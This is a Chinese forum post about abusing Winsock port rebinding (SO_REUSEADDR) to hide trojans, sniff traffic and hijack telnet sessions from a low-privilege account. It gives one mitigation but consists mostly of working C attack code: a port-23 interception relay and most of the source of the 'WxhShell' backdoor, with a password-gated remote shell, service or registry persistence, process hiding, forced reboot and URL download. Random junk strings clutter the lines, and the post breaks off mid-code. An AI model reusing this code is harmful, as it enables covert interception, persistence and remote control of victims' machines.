社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18600阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SF&2a(~s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DrKB;6  
3r, ~-6  
  saddr.sin_family = AF_INET; ?*yyne  
r":anR( ;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^e_LnJ+  
,#UZp\zZ*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cd1G.10  
_ Lb"yug  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VJqk0w+  
6ki2/ Q  
  这意味着什么?意味着可以进行如下的攻击: !*}UP|8  
1*9.K'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q:/df]Ntt  
N=BG0t$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LXK!4(xaW  
HKXC=^}x'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u*G<?  
o]4\Geg$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~_vSMX  
\jtA8o%n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nf/?7~3?[  
4MzQH-U>/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ? +L,  
:rUMmO-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +T$Olz  
]alc%(=  
  #include *z?Uh$I4  
  #include w!7ApEH1  
  #include >MHlrSH2  
  #include    FKTF?4+\U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZOqS"3j! j  
  int main() 3T)rJEN A  
  { cK+TE8ao  
  WORD wVersionRequested; t1adS:)s  
  DWORD ret; +gX,r$bX  
  WSADATA wsaData; ?`piie9V  
  BOOL val; #m.e9MU  
  SOCKADDR_IN saddr; z#GZb   
  SOCKADDR_IN scaddr; 8|i'~BFHs  
  int err; TwPQ8}pj?  
  SOCKET s; I "AjYv4R  
  SOCKET sc; iPTQqx-m$7  
  int caddsize; ,Y/B49  
  HANDLE mt; Ai < beUS  
  DWORD tid;   =0=#M(w  
  wVersionRequested = MAKEWORD( 2, 2 ); \b"rf697 ,  
  err = WSAStartup( wVersionRequested, &wsaData ); ?8-!hU@QC  
  if ( err != 0 ) { `N *:,8j  
  printf("error!WSAStartup failed!\n"); XMuZ}u[U  
  return -1; t]LiFpy2IC  
  } _]`7et\=  
  saddr.sin_family = AF_INET; ,Z@#( =f  
   _J l(:r\%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]nhh|q9r{  
N `|A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KS$t  
  saddr.sin_port = htons(23); "CT}34l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \Fz9O-jb4  
  { W[8Kia-OD  
  printf("error!socket failed!\n"); r%PWv0z_c  
  return -1; 1MLL  
  } %bDxvaftT  
  val = TRUE; zuvPV{ X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;5j|B|v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *,\"}x*  
  { pLB2! +  
  printf("error!setsockopt failed!\n"); <b:%o^  
  return -1; _Je 4&KU  
  } &kg^g%%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RV~fml9c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )7>GXZG>=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aOzIo-  
,9P-<P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1B~O!']N<  
  { =?RI`}vw_H  
  ret=GetLastError(); 2LwJ%!  
  printf("error!bind failed!\n"); rVz.Ws#  
  return -1; cE]z Tu?!  
  } #rlgeHG!fs  
  listen(s,2); 7rjl-FUA~  
  while(1) GcVQz[E  
  { ipv5JD[  
  caddsize = sizeof(scaddr); UM7@c7B?  
  //接受连接请求 w]wZJ/U`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {*yvvb  
  if(sc!=INVALID_SOCKET) Fz7t84g(  
  { X0.H(p#s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X1^VdJE  
  if(mt==NULL) (T%F^s5D  
  { KL&/Yt   
  printf("Thread Creat Failed!\n"); /Y0~BQC7!  
  break; +4?Lwp'q  
  } #J[g r_  
  } jx}&%p X  
  CloseHandle(mt); #1<m\z7l  
  } 7>yd  
  closesocket(s); A,~3oQV  
  WSACleanup(); .|,LBc!  
  return 0; h.\I tK{)  
  }   qOo4T@ t3  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9Dx~! (  
  { A!lZyG!3  
  SOCKET ss = (SOCKET)lpParam; ^j<v~GT x+  
  SOCKET sc; 7hk)I`o65  
  unsigned char buf[4096]; v vErzUxN  
  SOCKADDR_IN saddr; a~_ 9BM41T  
  long num; `d_T3^ayu  
  DWORD val; ytcLx77`:  
  DWORD ret; 'LYDJ~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8~'cP?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %KQ1{"  
  saddr.sin_family = AF_INET; y3o q{Z>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B {Cm`f8E  
  saddr.sin_port = htons(23); aq?bI:>8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) # &v4c  
  { 8SjCU+V  
  printf("error!socket failed!\n"); S@,/$L  
  return -1; IL@yGuO,  
  } eb_.@.a  
  val = 100; 3qWrSziD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5U?O1}P  
  { |O8e;v72g^  
  ret = GetLastError(); :|j[{;asY  
  return -1; zdP?HJ=F  
  } >k @t.PeoV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UynGG@P@  
  { G@s:|oe  
  ret = GetLastError(); !.R-|<2|6  
  return -1; / 4Q=%n  
  } 1]} \h]*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HYl+xH'.j  
  { x.1= QF{!  
  printf("error!socket connect failed!\n"); f} c;s  
  closesocket(sc); /E6)>y66  
  closesocket(ss); lO@-*m$  
  return -1; I"]E}nd)  
  } \%r#>8c8  
  while(1)  V FM[-  
  { ckX8eg!f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $ DN.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /qQx~doK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '&CZ%&(Gw  
  num = recv(ss,buf,4096,0); g!0 j1  
  if(num>0) lr&2,p<  
  send(sc,buf,num,0); ei2?H;H;  
  else if(num==0) B} qRz  
  break; H [+'>Id:  
  num = recv(sc,buf,4096,0); P0UR{tK  
  if(num>0) l<_v3/3  
  send(ss,buf,num,0); RlfI]uCDM  
  else if(num==0) 9No6\{[M  
  break; Nr@,In|JS  
  } C5=^cH8  
  closesocket(ss); $I5|rB/4?  
  closesocket(sc); .3EEi3z6z  
  return 0 ; 5T/+pC$e=  
  } $;g*s?F*  
PCCE+wC6  
HtN: v  
========================================================== /8Lb_QH{  
.UxkTads  
下边附上一个代码,,WXhSHELL /:!sn-(  
|f}wOkl  
========================================================== '(lsJY[-x  
mcwd2)  
#include "stdafx.h" (fc_V[(m"  
c%<81Y=  
#include <stdio.h> a[t"J*0  
#include <string.h> G>dXK,f<B0  
#include <windows.h> C4E*q3[Y  
#include <winsock2.h> @>`N%wH'  
#include <winsvc.h> j+.E#:tu"  
#include <urlmon.h>  uvDOTRf  
Sn97DCdk  
#pragma comment (lib, "Ws2_32.lib") ml~ )7J  
#pragma comment (lib, "urlmon.lib") m[ S1  
o &b\bK%E  
#define MAX_USER   100 // 最大客户端连接数 7WV"Wrl]  
#define BUF_SOCK   200 // sock buffer mv<cyWp  
#define KEY_BUFF   255 // 输入 buffer s$^ 2Cuhv  
$jC+oYXj  
#define REBOOT     0   // 重启 Nj;(QhYZ  
#define SHUTDOWN   1   // 关机 #;2kN &  
lz).=N}m  
#define DEF_PORT   5000 // 监听端口 AfW:'>2  
CJ;D&qo  
#define REG_LEN     16   // 注册表键长度 V" 5rIk  
#define SVC_LEN     80   // NT服务名长度 *@ \LS!N  
7n#Mh-vq  
// 从dll定义API gZ (\/m8Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K>+c2;t;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o<S(ODOfi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mc|UD*Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5X`m.lhUc  
_t7aOH  
// wxhshell配置信息 }8'bXG+  
struct WSCFG { 0Q/BTT%X  
  int ws_port;         // 监听端口 7baQ4QY?n  
  char ws_passstr[REG_LEN]; // 口令 Ut"F b  
  int ws_autoins;       // 安装标记, 1=yes 0=no r^"pLzAx  
  char ws_regname[REG_LEN]; // 注册表键名 LwCf}4u"  
  char ws_svcname[REG_LEN]; // 服务名 vP&JL~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7OZjLD{ID  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _AVP1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P_c9v/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X04JQLhy"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h1N{;SWQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v+2t;PJd2  
2G`tS=Un  
}; (^Hpe5h&  
k'{Bhi4  
// default Wxhshell configuration .\ces2,  
struct WSCFG wscfg={DEF_PORT, v+`gQXJ"G  
    "xuhuanlingzhe", /4 -6V d"8  
    1, >BlF< d`X  
    "Wxhshell", ^{fA:N=  
    "Wxhshell", OM7EmMa;  
            "WxhShell Service", w'D=K_h  
    "Wrsky Windows CmdShell Service", fnO>v/&B  
    "Please Input Your Password: ", vZt48g  
  1, LZ#SX5N  
  "http://www.wrsky.com/wxhshell.exe", ],ISWb  
  "Wxhshell.exe" h}jE=T5Hc  
    }; r5aOQ  
r5\|%5=J  
// 消息定义模块 ^NiS7)FX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b$1W>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LYyOcb[x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -eoXaP{[  
char *msg_ws_ext="\n\rExit."; qm=N@@R&  
char *msg_ws_end="\n\rQuit."; UB1/0o  
char *msg_ws_boot="\n\rReboot..."; vTU*6)  
char *msg_ws_poff="\n\rShutdown..."; }0~4Z)?e3  
char *msg_ws_down="\n\rSave to "; dBMr%6tz  
Mu]1e5^]  
char *msg_ws_err="\n\rErr!"; <C,lHt  
char *msg_ws_ok="\n\rOK!"; zU,Qph ,<  
.a`(?pPr,  
char ExeFile[MAX_PATH]; +&h<:/ V  
int nUser = 0; #)N}F/Od^  
HANDLE handles[MAX_USER]; a$ FO5%o  
int OsIsNt; g/6>>p`J  
;4ETqi9  
SERVICE_STATUS       serviceStatus; s xp>9&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a"&Gs/QKSC  
7[?{wbq  
// 函数声明 Pwg?a  
int Install(void); 1z$K54Mj  
int Uninstall(void); i917d@r(<  
int DownloadFile(char *sURL, SOCKET wsh); 05gdVa,  
int Boot(int flag); 48Z0aA~+  
void HideProc(void); R-V4Ju[:  
int GetOsVer(void); U^.kp#x#  
int Wxhshell(SOCKET wsl); qz<>9n@o  
void TalkWithClient(void *cs); (Ld,<!eN0  
int CmdShell(SOCKET sock); 8\/$cP"<^  
int StartFromService(void); V*1hoC#  
int StartWxhshell(LPSTR lpCmdLine); "MNI_C#{  
(B:+md\Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <UC_QPA\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xaG( 3  
Oq3]ZUVa  
// 数据结构和表定义 51&K  
SERVICE_TABLE_ENTRY DispatchTable[] = TKBW2  
{ $)6%LG_@  
{wscfg.ws_svcname, NTServiceMain}, 5.3=2/  
{NULL, NULL} wYAi-gdOi  
}; kI|7o>}<   
]n9gnE  
// 自我安装 o1zKns?  
int Install(void) nWz7$O  
{ $]t3pAI[H0  
  char svExeFile[MAX_PATH]; "|KhqV=?v  
  HKEY key; E6zSMl5b  
  strcpy(svExeFile,ExeFile); b>Em~NMu_  
P/XCaj3a[  
// 如果是win9x系统,修改注册表设为自启动 }a?(}{z-  
if(!OsIsNt) { ?|NMJ Qsa7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yT<,0~F9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9H#;i]t&  
  RegCloseKey(key); Z]\VOA>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #M~6A^)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _(%;O:i  
  RegCloseKey(key); o;5ns  
  return 0; Hru~Y}V  
    } VY|'7in"M  
  } &=S<StH  
} 3F ]30  
else { Yw_^]:~  
r&_bk Y%  
// 如果是NT以上系统,安装为系统服务 >#Ue`)d`aY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Gq]Mrim9G  
if (schSCManager!=0) &A!?:?3%O  
{ Lsb`,:  
  SC_HANDLE schService = CreateService # m;|QWW  
  ( 9T;DFUM  
  schSCManager, k|D =Q  
  wscfg.ws_svcname, uoi~JF  
  wscfg.ws_svcdisp, H05xt$J  
  SERVICE_ALL_ACCESS, iwx*mC{|A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pof]9qE-y  
  SERVICE_AUTO_START, @h)Z8so  
  SERVICE_ERROR_NORMAL, $WICyI{$  
  svExeFile, ]7DS>%m Y(  
  NULL, tx_h1[qi  
  NULL, T6M=BkcP  
  NULL, TK s l.|  
  NULL, 9[ ,+4&wX7  
  NULL K$kI%eGZA  
  ); 4RyQ^vL  
  if (schService!=0) %D6HY^]ayw  
  { w e}G%09L  
  CloseServiceHandle(schService); -a\[`JHi  
  CloseServiceHandle(schSCManager); 7Q>bJ Ek7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >&`;@ZOH  
  strcat(svExeFile,wscfg.ws_svcname); $*q^7ME  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B`mTp01  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y)uxj-G  
  RegCloseKey(key); 7;r Jr&.)  
  return 0; L<W2a(  
    } )PCh;P0C  
  } iOXsj  
  CloseServiceHandle(schSCManager); /ht-]Js$G  
} nXM[#~  
} B:rzM:BQ  
RcpKv;=iB  
return 1; pKNrEq  
} 7&w$@zs87  
kG>m(n  
// 自我卸载 JxmFUheLt  
int Uninstall(void) f=paa/k0  
{ N'n\_x  
  HKEY key; ;GV~MH-F  
/7LAd_P6  
if(!OsIsNt) { kO/]mNLG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' o(7@   
  RegDeleteValue(key,wscfg.ws_regname); U^ ;H{S  
  RegCloseKey(key); t .-%@,s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5fY7[{ 2  
  RegDeleteValue(key,wscfg.ws_regname); 9^g?/8  
  RegCloseKey(key); IutU ~%wv  
  return 0; s_#6^_  
  } +nz 0ZQ9 a  
} -=4{X R3  
} <_3OiU= w  
else { N}CeQ'l[R  
$A^OP{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZVni'y m  
if (schSCManager!=0) `G "&IQ8.  
{ )QAS7w#k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U0@Qc}y  
  if (schService!=0) jg\FD51$  
  { =`E{QCW  
  if(DeleteService(schService)!=0) { K9QC$b9(  
  CloseServiceHandle(schService); H>Q X?>j  
  CloseServiceHandle(schSCManager); @TvDxY1)6Z  
  return 0; )R6-]TkA_  
  } Wxa</n8S[n  
  CloseServiceHandle(schService); ]S7>=S  
  } <%"o-xZq7C  
  CloseServiceHandle(schSCManager); 2bAH)=  
} iq<nuO  
} bY}:!aR<mK  
*('Vyd!n  
return 1; L "5;<  
} ub9,Wd"^  
Dio)orc  
// 从指定url下载文件 :!L>_ f  
int DownloadFile(char *sURL, SOCKET wsh) B\\M%!a>  
{ n+D93d9LP  
  HRESULT hr; :vJ1Fo!  
char seps[]= "/"; MQMc=Z4d  
char *token; D]?yGI_  
char *file; UTVqoCHA  
char myURL[MAX_PATH]; W%@0Ym `7  
char myFILE[MAX_PATH]; irF+(&q]jh  
'.*`PN5mDq  
strcpy(myURL,sURL); TT^L) d  
  token=strtok(myURL,seps); ` M!'PMX  
  while(token!=NULL) @+yjt'B  
  { =y0h\<[  
    file=token; IVso/!   
  token=strtok(NULL,seps); Odr<fvV,>  
  } AHet,N  
=3|5=ZU034  
GetCurrentDirectory(MAX_PATH,myFILE); e'2w-^7  
strcat(myFILE, "\\"); <lP5}F87  
strcat(myFILE, file); O #5`mo  
  send(wsh,myFILE,strlen(myFILE),0); d@ef+-  
send(wsh,"...",3,0); uJU;C.LX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G;AJBs>Y}  
  if(hr==S_OK) U*\ 1d  
return 0; ]23+ d/  
else 8iC9xSH[%  
return 1; juEH$7N !  
ONMR2J(  
} s&M#]8x;x  
G8lTIs4u;  
// 系统电源模块 FL[w\&fp  
int Boot(int flag) Dop,_94G  
{ O'S9y  
  HANDLE hToken; ^%NjdZuDO  
  TOKEN_PRIVILEGES tkp; jdd3[  
H8h,JBg5<F  
  if(OsIsNt) { ?OC&=}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8Ud.}< Zi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +HEL^  
    tkp.PrivilegeCount = 1; zU";\);  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <G#Q f|&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y$+_9VzYB  
if(flag==REBOOT) { 3bagL)'iz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QeQxz1  
  return 0; }b+$S'`Bv  
} -# /'^O +%  
else { e#^ vA$d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TRFza}4:i  
  return 0; pt%Y1<9Eh?  
} gH/(4h  
  } U]"6KS   
  else { \Wb3JQ)  
if(flag==REBOOT) { ?3do-tTp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) smPZ%P}P+c  
  return 0; :8Ugz~i  
} U /jCM?~  
else { 6t'vzcQs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4YA1~7R  
  return 0; &?^"m\K4J*  
} i([|@Y=  
} &X)^G#  
&G_XgQsg{  
return 1; %D>cY!  
} ad`7[fI  
Xbc:Vr  
// win9x进程隐藏模块 \xX'SB#.l  
void HideProc(void) qjH/E6GGg  
{ uXVs<im  
rhC x&L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7*@BCu6  
  if ( hKernel != NULL ) O7yIFqI=/  
  { i)@H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a>#]d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O[ug7\cl+  
    FreeLibrary(hKernel); 8:k-]+#o  
  } r[3 2'E  
Q\aC:68  
return; -~]]%VJP|  
} >Dq&[9,8  
(4IH%Ez){  
// 获取操作系统版本 )b-KF}]d  
int GetOsVer(void) T_oL/x_;  
{ 3e1^r_YI  
  OSVERSIONINFO winfo; t{O2JF#5u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B1 xlWdm  
  GetVersionEx(&winfo); A:V/i:IZfR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]>,Lw=_[_  
  return 1; ?, cI!c`  
  else ML7qrc;Rx  
  return 0; 66HxwY3a  
} =/bC0bb{i  
#yOn /  
// 客户端句柄模块 Z>hGqFZ0{  
int Wxhshell(SOCKET wsl) RIq\IQ_|  
{ J:0`*7  
  SOCKET wsh; #g]eDU-[  
  struct sockaddr_in client; Rzxkz  
  DWORD myID; 9Qn*frdY,  
x%55:8{  
  while(nUser<MAX_USER) W=2#Q2)  
{ ]_2<uK}fg  
  int nSize=sizeof(client); z/|tsVK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F`57;)F  
  if(wsh==INVALID_SOCKET) return 1; ,<fs+oi  
RT"JAJTi/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H'x_}y  
if(handles[nUser]==0)  8s>OO&  
  closesocket(wsh); V0y_c^x  
else 2Y%E.){  
  nUser++; .gA4gI1kH  
  } o_PQ]1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }c'T]h\S  
p0C|ECH  
  return 0; \0z<@)r+AJ  
} lA,*]Mr~  
#A^(1  
// 关闭 socket 0-8'. C1v  
void CloseIt(SOCKET wsh) sF1j4 NC  
{ ^'$P[  
closesocket(wsh); %^bN^Sq -  
nUser--; m =%yZ2F;  
ExitThread(0); 89J7hnJC  
} 9~}.f1z  
7z3YzQ=Kg  
// 客户端请求句柄 'Jl73#3  
void TalkWithClient(void *cs) pt~b=+bBm  
{ ~s>Ud<l%r  
'E%+ O  
  SOCKET wsh=(SOCKET)cs; V)cL=4G  
  char pwd[SVC_LEN]; !p(N DQm  
  char cmd[KEY_BUFF]; Hq "l`  
char chr[1]; {@>6E8)H5  
int i,j; |\SwZTr  
Hs(U|BXU  
  while (nUser < MAX_USER) { ^ 4{"h  
zE]h]$oi  
if(wscfg.ws_passstr) { "M=1Eb$6=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LRv[,]b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rY]QTS">o  
  //ZeroMemory(pwd,KEY_BUFF); <xr\1VjA  
      i=0; %#@5(_'  
  while(i<SVC_LEN) { pFwhv w  
a fUOIM  
  // 设置超时 _r vO#h  
  fd_set FdRead; 7SjWofv  
  struct timeval TimeOut; 01vKx)f  
  FD_ZERO(&FdRead); '%[r9 w  
  FD_SET(wsh,&FdRead); U].3vju`c  
  TimeOut.tv_sec=8; Ogp@!  
  TimeOut.tv_usec=0; \mDBOC0eK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }vt>}%%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HMVyXulU  
}Z8DVTpX}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i3o;G"IcD  
  pwd=chr[0]; 0R}F( tjw  
  if(chr[0]==0xd || chr[0]==0xa) { I'%ASZ  
  pwd=0; *[b22a4H(  
  break; |M(0CYO  
  } 9u] "($  
  i++; ?TY/'-M5  
    } aui3Mq#f  
h"On9  
  // 如果是非法用户,关闭 socket +X!QH/ 8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T:!Re*=JJ  
} & _mp!&5XV  
_BBs{47{E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ' +E\-X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qk`LBvg1  
\* SEj&9  
while(1) { ZA'Qw2fF0  
)G@/E^ySM  
  ZeroMemory(cmd,KEY_BUFF); 6G]hs gro  
:x36Z4:  
      // 自动支持客户端 telnet标准   &,C;_3   
  j=0; X"O^4MnvI  
  while(j<KEY_BUFF) { ]TIBy "3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n_@cjO  
  cmd[j]=chr[0]; L3y`*&e>  
  if(chr[0]==0xa || chr[0]==0xd) { i=X B0-  
  cmd[j]=0; A!^gF~5  
  break; y\c-I!6>26  
  } 5yQ\s[;o3  
  j++; @&GfCg5Cb  
    } pX]"^f1?O  
zoHFTD4 g  
  // 下载文件 6'qu[ ~ }Q  
  if(strstr(cmd,"http://")) { c<]~q1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x`VA3nE9  
  if(DownloadFile(cmd,wsh)) fQ_(2+ FM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?$Ii_.  
  else I hPX/P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OzS/J;[PO[  
  } *{s 3.=P.  
  else { DE" Y(;S  
(?lKedA>2  
    switch(cmd[0]) { <^fvTb&*  
  -9~WtTaV.H  
  // 帮助 4$_:a?9  
  case '?': { \2VYDBi?|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ff{dOV.i  
    break; Tb<}GcwJ  
  } %3mh'Z -[f  
  // 安装 *PF=dx<8  
  case 'i': { l&oc/$&|[  
    if(Install()) *g!7PzJ'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eGj[%pk  
    else v5dLjy5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  :C9vs  
    break; D%!GY1wdn  
    } ^Rc*X'Iz(!  
  // 卸载 u @#fOu  
  case 'r': { OO*2>Qy~z  
    if(Uninstall())  7 j8Ou3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K| '`w.  
    else T1WH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D'<'"kUd  
    break; >m# bj^F\  
    } *5d6Q   
  // 显示 wxhshell 所在路径 K410.o/=-  
  case 'p': { 9N V.<&~  
    char svExeFile[MAX_PATH]; #9CLIYJAd  
    strcpy(svExeFile,"\n\r"); =gQ^,x0R9  
      strcat(svExeFile,ExeFile); <db>~@;X!  
        send(wsh,svExeFile,strlen(svExeFile),0); y87oW_"h  
    break; R/Z zmb{  
    } ,WtJ&S7?  
  // 重启 3V%ts7:a  
  case 'b': { V?&P).5)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YuFR*W;$  
    if(Boot(REBOOT)) SaSj9\o  
